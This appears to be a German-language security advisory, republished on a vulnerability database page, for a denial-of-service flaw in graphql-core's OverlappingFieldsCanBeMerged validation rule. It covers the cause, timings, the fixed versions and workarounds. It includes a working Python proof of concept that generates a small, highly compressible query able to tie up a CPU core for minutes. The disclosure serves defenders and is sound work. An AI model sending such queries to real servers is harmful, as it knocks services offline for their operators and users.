GraphQL-core: Denial-of-Service über quadratische Komplexität in der Validierungsregel OverlappingFieldsCanBeMerged
Zusammenfassung
Die Validierungsregel OverlappingFieldsCanBeMerged kann durch eine kleine, stark komprimierbare Abfrage in eine quadratische — und im schlimmsten Fall O(n²·m²) — Laufzeit getrieben werden. Ein einzelnes Dokument von 364 KB kann einen CPU-Kern während der Validierung für mehr als fünf Minuten auslasten, bevor überhaupt ein Resolver ausgeführt wird. Da die Regel Teil von specified_rules und somit standardmäßig aktiviert ist, ist jeder auf GraphQL-core basierende Server in den Standardeinstellungen betroffen.
Details
OverlappingFieldsCanBeMerged vergleicht jedes Paar von Feldern, die denselben Antwortnamen teilen, und führt Rekursionen in deren Unterselektionen durch. Die für CVE-2023-26144 (GHSA-9pv7-vfvm-6vr7) hinzugefügte Memoisation verwendet die Identität von benannten Fragmenten (named fragments) als Schlüssel und deckt diesen Pfad daher nicht ab: Inline-Fragmente werden vor der Cache-Konsultation in das übergeordnete Auswahlset eingefügt, wodurch jedes Paar auf jeder Verschachtelungsebene von Grund auf neu verglichen wird.
Das Wiederholen eines Inline-Fragments, das denselben Antwortnamen auf zwei Verschachtelungsebenen auswählt, multipliziert beide Effekte. Es gab weder ein Vergleichsbudget noch ein Validierungs-Timeout, sodass die Regel unabhängig vom Aufwand bis zum Ende lief.
Der Aufwand entsteht in der Validierungsphase, was eine Abwehr außerhalb der Bibliothek erschwert: Mechanismen zur Begrenzung der Abfragetiefe, Komplexitätsanalysatoren und Kostenschätzer arbeiten erst nach der Validierung auf dem geparsten Dokument, und das bösartige Dokument ist trivial flach (Tiefe 3, Komplexität 1). Die Nutzlast besteht zudem aus einer einzigen kurzen, mehrfach wiederholten Zeichenkette, komprimiert sich daher auf wenige Kilobytes und umgeht so Begrenzungen der Anfragedatenmenge sowie WAF-Prüfungen, die nur die komprimierte Anfrage analysieren.
Proof of Concept
import time
from graphql import build_schema, parse, validate
schema = build_schema(
"type Query { field: Node } type Node { f: Node, g: Node, x: String }"
)
def gen(n: int, m: int) -> str:
inner = " ".join(["... on Node { x }"] * m)
outer = " ".join([f"... on Node {{ f {{ {inner} }} }}"] * n)
return f"{{ field {{ {outer} }} }}"
query = gen(200, 100) # 364 KB, gzips to a few KB
document = parse(query)
start = time.perf_counter()
validate(schema, document) # returns no errors — it just burns CPU
print(f"{(time.perf_counter() - start):.0f}s")
Gemessen auf GraphQL-core 3.2.8 / CPython 3.12 / Linux x86_64:
| n | m | Abfragegröße | Validierungszeit |
|---|---|---|---|
| 20 | 20 | 7.6 KB | 0.16 s |
| 50 | 50 | 46 KB | 5.2 s |
| 100 | 100 | 182 KB | 81 s |
| 200 | 100 | 364 KB | 319 s |
Die Verdopplung von n bei fixem m vervierfacht die Zeit, wie für eine quadratische äußere Schleife zu erwarten ist, die einen quadratischen inneren Durchlauf steuert.
Auswirkungen
Denial-of-Service. Eine Anfrage bindet einen Worker-Prozess für mehrere Minuten; da CPython das GIL für diese reine CPU-Arbeit hält, kann bereits eine Handvoll gleichzeitiger Anfragen ein typisches Multi-Worker-Deployment vollständig auslasten. Eine Authentifizierung ist nicht erforderlich; es werden keine Daten offengelegt oder geändert.
Patches
Behoben in 3.2.12 und 3.3.0rc1.
Die Validierung erzwingt nun ein Vergleichsbudget pro Dokument. Sobald MAX_FIELD_COMPARISONS (Standardwert 250_000) paarweise Vergleiche durchgeführt wurden, bricht die Regel ab und meldet einen GraphQLError, anstatt bis zum Ende durchzulaufen:
Query is too complex to validate for overlapping fields: exceeded 250000 field comparisons. Validation was aborted.
Der Standardwert liegt weit über dem, was eine realistische Abfrage erreicht. Es handelt sich um eine Konstante auf Modulebene, die erhöht oder gesenkt werden kann:
from graphql.validation.rules import overlapping_fields_can_be_merged
overlapping_fields_can_be_merged.MAX_FIELD_COMPARISONS = 1_000_000
Beachten Sie die Verhaltensänderung: Eine pathologische Abfrage, die zuvor — langsam — validiert wurde, führt nun zu einem Validierungsfehler.
Problemumgehungen
Wenn ein Upgrade nicht möglich ist, weisen Sie übergroße Dokumente ab, bevor sie validate() erreichen. Beachten Sie, dass eine Begrenzung der Anfragedatengröße auf den dekomprimierten Textkörper angewendet werden muss, um wirksam zu sein, da die Nutzlast stark komprimierbar ist. Das Entfernen von OverlappingFieldsCanBeMergedRule aus dem Regelsatz ist kein sicherer Workaround, da es sich um eine von der Spezifikation vorgeschriebene Korrektheitsregel handelt.
Eine Begrenzung der Anfragedatengröße bleibt auch nach dem Upgrade ratsam — das Vergleichsbudget begrenzt lediglich diese spezifische Regel, nicht die Gesamtkosten der Anfrage.
Danksagung
Gemeldet von @BZHunt, der die Fixes vor der Veröffentlichung ebenfalls überprüfte. In Gedenken an ZaX, die treibende Kraft hinter dieser Entdeckung.
Unabhängig entdeckt und diagnostiziert von @bcmyguest, der ebenfalls einen Fix vorgeschlagen hat.
Was zu tun ist
Aktualisieren Sie auf 3.2.12, 3.3.0rc1 oder neuer. Wenn kein Upgrade möglich ist, begrenzen Sie die Größe dekomprimierter Anfragen vor der Übergabe an validate(). Deaktivieren Sie OverlappingFieldsCanBeMergedRule nicht.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | graphql-core | >= 3.0.0, < 3.2.12, >= 3.3.0a1, < 3.3.0rc1 | 3.2.12, 3.3.0rc1 |
Verweise
- https://github.com/graphql-python/graphql-core/security/advisories/GHSA-vj8h-fx38-h3vc
- https://github.com/graphql-python/graphql-core/commit/150e59814d97d12140be005a558c93188ef89198
- https://github.com/graphql-python/graphql-core/commit/29c2753a7ee30a96a4109e7c6add1a2dae0497d7
- https://github.com/graphql-python/graphql-core
- https://github.com/graphql-python/graphql-core/releases/tag/v3.2.12
- https://github.com/graphql-python/graphql-core/releases/tag/v3.3.0rc1
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-400, CWE-407- Plattform
- Python (PyPI)
- Paket
graphql-core- Veröffentlicht
- 22.10.2026
- Aktualisiert
- 26.10.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-vj8h-fx38-h3vc - CC BY 4.0
Schwachstellenhistorie: graphql-core
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 3
- Erste → letzte
- 10.2026 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 3
Veröffentlichungen pro Jahr
- 2026: 3
-
GraphQL-core: Denial-of-Service über quadratische Komplexität in der Validierungsregel OverlappingFieldsCanBeMerged dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.